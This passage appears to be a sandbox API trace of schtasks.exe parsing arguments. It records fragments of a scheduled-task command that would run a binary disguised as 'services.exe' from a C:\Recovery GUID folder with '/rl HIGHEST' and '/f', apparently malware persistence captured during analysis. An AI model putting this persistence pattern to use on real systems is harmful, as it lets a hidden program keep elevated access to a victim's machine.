_Size=0x7) returned 0 [0150.370] lstrlenW (lpString="mo") returned 2 [0150.370] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.370] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|change|") returned 8 [0150.370] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|mo|") returned 4 [0150.370] lstrlenW (lpString="|change|") returned 8 [0150.370] lstrlenW (lpString="|mo|") returned 4 [0150.370] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0150.370] SetLastError (dwErrCode=0x490) [0150.370] lstrlenW (lpString="run") returned 3 [0150.370] lstrlenW (lpString="run") returned 3 [0150.370] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.370] lstrlenW (lpString="mo") returned 2 [0150.370] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.371] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|run|") returned 5 [0150.371] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|mo|") returned 4 [0150.371] lstrlenW (lpString="|run|") returned 5 [0150.371] lstrlenW (lpString="|mo|") returned 4 [0150.371] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0150.371] SetLastError (dwErrCode=0x490) [0150.371] lstrlenW (lpString="end") returned 3 [0150.371] lstrlenW (lpString="end") returned 3 [0150.371] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.371] lstrlenW (lpString="mo") returned 2 [0150.371] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.371] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|end|") returned 5 [0150.371] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|mo|") returned 4 [0150.371] lstrlenW (lpString="|end|") returned 5 [0150.371] lstrlenW (lpString="|mo|") returned 4 [0150.371] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0150.371] SetLastError (dwErrCode=0x490) [0150.371] lstrlenW (lpString="showsid") returned 7 [0150.371] lstrlenW (lpString="showsid") returned 7 [0150.371] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.371] lstrlenW (lpString="mo") returned 2 [0150.371] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.371] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0xa, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|showsid|") returned 9 [0150.371] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|mo|") returned 4 [0150.371] lstrlenW (lpString="|showsid|") returned 9 [0150.372] lstrlenW (lpString="|mo|") returned 4 [0150.372] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0150.372] SetLastError (dwErrCode=0x490) [0150.372] SetLastError (dwErrCode=0x490) [0150.372] SetLastError (dwErrCode=0x0) [0150.372] lstrlenW (lpString="/mo") returned 3 [0150.372] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0150.372] SetLastError (dwErrCode=0x490) [0150.372] SetLastError (dwErrCode=0x0) [0150.372] lstrlenW (lpString="/mo") returned 3 [0150.372] GetProcessHeap () returned 0x3b0000 [0150.372] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x8) returned 0x3cc300 [0150.372] GetProcessHeap () returned 0x3b0000 [0150.372] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccce0 [0150.372] SetLastError (dwErrCode=0x0) [0150.372] SetLastError (dwErrCode=0x0) [0150.372] lstrlenW (lpString="11") returned 2 [0150.372] lstrlenW (lpString="-/") returned 2 [0150.372] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0150.372] SetLastError (dwErrCode=0x490) [0150.372] SetLastError (dwErrCode=0x490) [0150.372] SetLastError (dwErrCode=0x0) [0150.372] lstrlenW (lpString="11") returned 2 [0150.372] StrChrIW (lpStart="11", wMatch=0x3a) returned 0x0 [0150.372] SetLastError (dwErrCode=0x490) [0150.372] SetLastError (dwErrCode=0x0) [0150.372] lstrlenW (lpString="11") returned 2 [0150.372] GetProcessHeap () returned 0x3b0000 [0150.373] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x6) returned 0x3cc320 [0150.373] GetProcessHeap () returned 0x3b0000 [0150.373] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccd10 [0150.373] SetLastError (dwErrCode=0x0) [0150.373] SetLastError (dwErrCode=0x0) [0150.373] lstrlenW (lpString="/tr") returned 3 [0150.373] lstrlenW (lpString="-/") returned 2 [0150.373] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0150.373] lstrlenW (lpString="?") returned 1 [0150.373] lstrlenW (lpString="?") returned 1 [0150.373] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.373] lstrlenW (lpString="tr") returned 2 [0150.373] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.373] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|?|") returned 3 [0150.373] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|tr|") returned 4 [0150.373] lstrlenW (lpString="|?|") returned 3 [0150.373] lstrlenW (lpString="|tr|") returned 4 [0150.373] SetLastError (dwErrCode=0x490) [0150.373] lstrlenW (lpString="create") returned 6 [0150.373] lstrlenW (lpString="create") returned 6 [0150.373] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.373] lstrlenW (lpString="tr") returned 2 [0150.373] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.373] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|create|") returned 8 [0150.373] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|tr|") returned 4 [0150.374] lstrlenW (lpString="|create|") returned 8 [0150.374] lstrlenW (lpString="|tr|") returned 4 [0150.374] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0150.374] SetLastError (dwErrCode=0x490) [0150.374] lstrlenW (lpString="delete") returned 6 [0150.374] lstrlenW (lpString="delete") returned 6 [0150.374] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.374] lstrlenW (lpString="tr") returned 2 [0150.374] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.374] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|delete|") returned 8 [0150.374] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|tr|") returned 4 [0150.374] lstrlenW (lpString="|delete|") returned 8 [0150.374] lstrlenW (lpString="|tr|") returned 4 [0150.374] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0150.374] SetLastError (dwErrCode=0x490) [0150.374] lstrlenW (lpString="query") returned 5 [0150.374] lstrlenW (lpString="query") returned 5 [0150.374] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.374] lstrlenW (lpString="tr") returned 2 [0150.374] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.374] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x8, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|query|") returned 7 [0150.374] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|tr|") returned 4 [0150.374] lstrlenW (lpString="|query|") returned 7 [0150.374] lstrlenW (lpString="|tr|") returned 4 [0150.374] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0150.374] SetLastError (dwErrCode=0x490) [0150.375] lstrlenW (lpString="change") returned 6 [0150.375] lstrlenW (lpString="change") returned 6 [0150.375] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.375] lstrlenW (lpString="tr") returned 2 [0150.375] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.375] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|change|") returned 8 [0150.375] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|tr|") returned 4 [0150.375] lstrlenW (lpString="|change|") returned 8 [0150.375] lstrlenW (lpString="|tr|") returned 4 [0150.375] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0150.375] SetLastError (dwErrCode=0x490) [0150.375] lstrlenW (lpString="run") returned 3 [0150.375] lstrlenW (lpString="run") returned 3 [0150.375] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.375] lstrlenW (lpString="tr") returned 2 [0150.375] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.375] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|run|") returned 5 [0150.375] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|tr|") returned 4 [0150.375] lstrlenW (lpString="|run|") returned 5 [0150.375] lstrlenW (lpString="|tr|") returned 4 [0150.375] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0150.375] SetLastError (dwErrCode=0x490) [0150.375] lstrlenW (lpString="end") returned 3 [0150.375] lstrlenW (lpString="end") returned 3 [0150.375] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.375] lstrlenW (lpString="tr") returned 2 [0150.375] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.376] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|end|") returned 5 [0150.376] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|tr|") returned 4 [0150.376] lstrlenW (lpString="|end|") returned 5 [0150.376] lstrlenW (lpString="|tr|") returned 4 [0150.376] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0150.376] SetLastError (dwErrCode=0x490) [0150.376] lstrlenW (lpString="showsid") returned 7 [0150.376] lstrlenW (lpString="showsid") returned 7 [0150.376] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.376] lstrlenW (lpString="tr") returned 2 [0150.376] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.376] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0xa, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|showsid|") returned 9 [0150.376] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|tr|") returned 4 [0150.376] lstrlenW (lpString="|showsid|") returned 9 [0150.376] lstrlenW (lpString="|tr|") returned 4 [0150.376] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0150.376] SetLastError (dwErrCode=0x490) [0150.376] SetLastError (dwErrCode=0x490) [0150.376] SetLastError (dwErrCode=0x0) [0150.376] lstrlenW (lpString="/tr") returned 3 [0150.376] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0150.376] SetLastError (dwErrCode=0x490) [0150.376] SetLastError (dwErrCode=0x0) [0150.376] lstrlenW (lpString="/tr") returned 3 [0150.376] GetProcessHeap () returned 0x3b0000 [0150.376] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x8) returned 0x3cc340 [0150.377] GetProcessHeap () returned 0x3b0000 [0150.377] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccd40 [0150.377] SetLastError (dwErrCode=0x0) [0150.377] SetLastError (dwErrCode=0x0) [0150.377] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0150.377] lstrlenW (lpString="-/") returned 2 [0150.377] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0150.377] SetLastError (dwErrCode=0x490) [0150.377] SetLastError (dwErrCode=0x490) [0150.377] SetLastError (dwErrCode=0x0) [0150.377] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0150.377] StrChrIW (lpStart="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'", wMatch=0x3a) returned=":\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'" [0150.377] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0150.377] GetProcessHeap () returned 0x3b0000 [0150.377] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x18) returned 0x3cc360 [0150.377] _memicmp (_Buf1=0x3cc360, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.377] GetProcessHeap () returned 0x3b0000 [0150.377] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0xe) returned 0x3cc380 [0150.377] GetProcessHeap () returned 0x3b0000 [0150.377] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x18) returned 0x3cd510 [0150.377] _memicmp (_Buf1=0x3cd510, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.377] GetProcessHeap () returned 0x3b0000 [0150.377] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x82) returned 0x3cdce0 [0150.377] SetLastError (dwErrCode=0x7a) [0150.377] SetLastError (dwErrCode=0x0) [0150.377] SetLastError (dwErrCode=0x0) [0150.378] lstrlenW (lpString="'C") returned 2 [0150.378] lstrlenW (lpString="-/") returned 2 [0150.378] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0150.378] SetLastError (dwErrCode=0x490) [0150.378] SetLastError (dwErrCode=0x490) [0150.378] SetLastError (dwErrCode=0x0) [0150.378] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0150.378] GetProcessHeap () returned 0x3b0000 [0150.378] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x80) returned 0x3cdd70 [0150.378] GetProcessHeap () returned 0x3b0000 [0150.378] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccd70 [0150.378] SetLastError (dwErrCode=0x0) [0150.378] SetLastError (dwErrCode=0x0) [0150.378] lstrlenW (lpString="/rl") returned 3 [0150.378] lstrlenW (lpString="-/") returned 2 [0150.378] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0150.378] lstrlenW (lpString="?") returned 1 [0150.378] lstrlenW (lpString="?") returned 1 [0150.378] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.378] lstrlenW (lpString="rl") returned 2 [0150.378] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.378] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|?|") returned 3 [0150.378] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|rl|") returned 4 [0150.378] lstrlenW (lpString="|?|") returned 3 [0150.378] lstrlenW (lpString="|rl|") returned 4 [0150.378] SetLastError (dwErrCode=0x490) [0150.378] lstrlenW (lpString="create") returned 6 [0150.379] lstrlenW (lpString="create") returned 6 [0150.379] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.379] lstrlenW (lpString="rl") returned 2 [0150.379] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.379] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|create|") returned 8 [0150.379] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|rl|") returned 4 [0150.379] lstrlenW (lpString="|create|") returned 8 [0150.379] lstrlenW (lpString="|rl|") returned 4 [0150.379] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0150.379] SetLastError (dwErrCode=0x490) [0150.379] lstrlenW (lpString="delete") returned 6 [0150.379] lstrlenW (lpString="delete") returned 6 [0150.379] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.379] lstrlenW (lpString="rl") returned 2 [0150.379] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.379] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|delete|") returned 8 [0150.379] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|rl|") returned 4 [0150.379] lstrlenW (lpString="|delete|") returned 8 [0150.379] lstrlenW (lpString="|rl|") returned 4 [0150.379] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0150.379] SetLastError (dwErrCode=0x490) [0150.379] lstrlenW (lpString="query") returned 5 [0150.379] lstrlenW (lpString="query") returned 5 [0150.379] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.380] lstrlenW (lpString="rl") returned 2 [0150.380] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.380] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x8, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|query|") returned 7 [0150.380] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|rl|") returned 4 [0150.380] lstrlenW (lpString="|query|") returned 7 [0150.380] lstrlenW (lpString="|rl|") returned 4 [0150.380] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0150.380] SetLastError (dwErrCode=0x490) [0150.380] lstrlenW (lpString="change") returned 6 [0150.380] lstrlenW (lpString="change") returned 6 [0150.380] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.380] lstrlenW (lpString="rl") returned 2 [0150.380] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.380] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|change|") returned 8 [0150.380] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|rl|") returned 4 [0150.380] lstrlenW (lpString="|change|") returned 8 [0150.380] lstrlenW (lpString="|rl|") returned 4 [0150.380] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0150.380] SetLastError (dwErrCode=0x490) [0150.380] lstrlenW (lpString="run") returned 3 [0150.380] lstrlenW (lpString="run") returned 3 [0150.380] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.380] lstrlenW (lpString="rl") returned 2 [0150.380] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.381] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|run|") returned 5 [0150.381] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|rl|") returned 4 [0150.381] lstrlenW (lpString="|run|") returned 5 [0150.381] lstrlenW (lpString="|rl|") returned 4 [0150.381] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0150.381] SetLastError (dwErrCode=0x490) [0150.381] lstrlenW (lpString="end") returned 3 [0150.381] lstrlenW (lpString="end") returned 3 [0150.381] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.381] lstrlenW (lpString="rl") returned 2 [0150.381] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.381] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|end|") returned 5 [0150.381] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|rl|") returned 4 [0150.381] lstrlenW (lpString="|end|") returned 5 [0150.381] lstrlenW (lpString="|rl|") returned 4 [0150.381] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0150.381] SetLastError (dwErrCode=0x490) [0150.381] lstrlenW (lpString="showsid") returned 7 [0150.381] lstrlenW (lpString="showsid") returned 7 [0150.381] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.381] lstrlenW (lpString="rl") returned 2 [0150.381] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.381] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0xa, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|showsid|") returned 9 [0150.381] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|rl|") returned 4 [0150.382] lstrlenW (lpString="|showsid|") returned 9 [0150.382] lstrlenW (lpString="|rl|") returned 4 [0150.382] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0150.382] SetLastError (dwErrCode=0x490) [0150.382] SetLastError (dwErrCode=0x490) [0150.382] SetLastError (dwErrCode=0x0) [0150.382] lstrlenW (lpString="/rl") returned 3 [0150.382] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0150.382] SetLastError (dwErrCode=0x490) [0150.382] SetLastError (dwErrCode=0x0) [0150.382] lstrlenW (lpString="/rl") returned 3 [0150.382] GetProcessHeap () returned 0x3b0000 [0150.382] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x8) returned 0x3cde00 [0150.382] GetProcessHeap () returned 0x3b0000 [0150.382] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccda0 [0150.382] SetLastError (dwErrCode=0x0) [0150.382] SetLastError (dwErrCode=0x0) [0150.382] lstrlenW (lpString="HIGHEST") returned 7 [0150.382] lstrlenW (lpString="-/") returned 2 [0150.382] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0150.382] SetLastError (dwErrCode=0x490) [0150.382] SetLastError (dwErrCode=0x490) [0150.382] SetLastError (dwErrCode=0x0) [0150.382] lstrlenW (lpString="HIGHEST") returned 7 [0150.382] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0150.382] SetLastError (dwErrCode=0x490) [0150.382] SetLastError (dwErrCode=0x0) [0150.382] lstrlenW (lpString="HIGHEST") returned 7 [0150.383] GetProcessHeap () returned 0x3b0000 [0150.383] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x10) returned 0x3cd530 [0150.383] GetProcessHeap () returned 0x3b0000 [0150.383] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccdd0 [0150.383] SetLastError (dwErrCode=0x0) [0150.383] SetLastError (dwErrCode=0x0) [0150.383] lstrlenW (lpString="/f") returned 2 [0150.383] lstrlenW (lpString="-/") returned 2 [0150.383] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0150.383] lstrlenW (lpString="?") returned 1 [0150.383] lstrlenW (lpString="?") returned 1 [0150.383] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.383] lstrlenW (lpString="f") returned 1 [0150.383] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.383] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|?|") returned 3 [0150.383] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|f|") returned 3 [0150.383] lstrlenW (lpString="|?|") returned 3 [0150.383] lstrlenW (lpString="|f|") returned 3 [0150.383] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0150.383] SetLastError (dwErrCode=0x490) [0150.383] lstrlenW (lpString="create") returned 6 [0150.383] lstrlenW (lpString="create") returned 6 [0150.383] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.383] lstrlenW (lpString="f") returned 1 [0150.383] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.383] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|create|") returned 8 [0150.384] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|f|") returned 3 [0150.384] lstrlenW (lpString="|create|") returned 8 [0150.384] lstrlenW (lpString="|f|") returned 3 [0150.384] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0150.384] SetLastError (dwErrCode=0x490) [0150.384] lstrlenW (lpString="delete") returned 6 [0150.384] lstrlenW (lpString="delete") returned 6 [0150.384] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.384] lstrlenW (lpString="f") returned 1 [0150.384] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.384] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|delete|") returned 8 [0150.384] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|f|") returned 3 [0150.384] lstrlenW (lpString="|delete|") returned 8 [0150.384] lstrlenW (lpString="|f|") returned 3 [0150.384] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0150.384] SetLastError (dwErrCode=0x490) [0150.384] lstrlenW (lpString="query") returned 5 [0150.384] lstrlenW (lpString="query") returned 5 [0150.384] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.384] lstrlenW (lpString="f") returned 1 [0150.384] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.384] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x8, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|query|") returned 7 [0150.384] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|f|") returned 3 [0150.384] lstrlenW (lpString="|query|") returned 7 [0150.384] lstrlenW (lpString="|f|") returned 3 [0150.384] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0150.384] SetLastError (dwErrCode=0x490) [0150.385] lstrlenW (lpString="change") returned 6 [0150.385] lstrlenW (lpString="change") returned 6 [0150.385] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.385] lstrlenW (lpString="f") returned 1 [0150.385] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.385] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f2f8 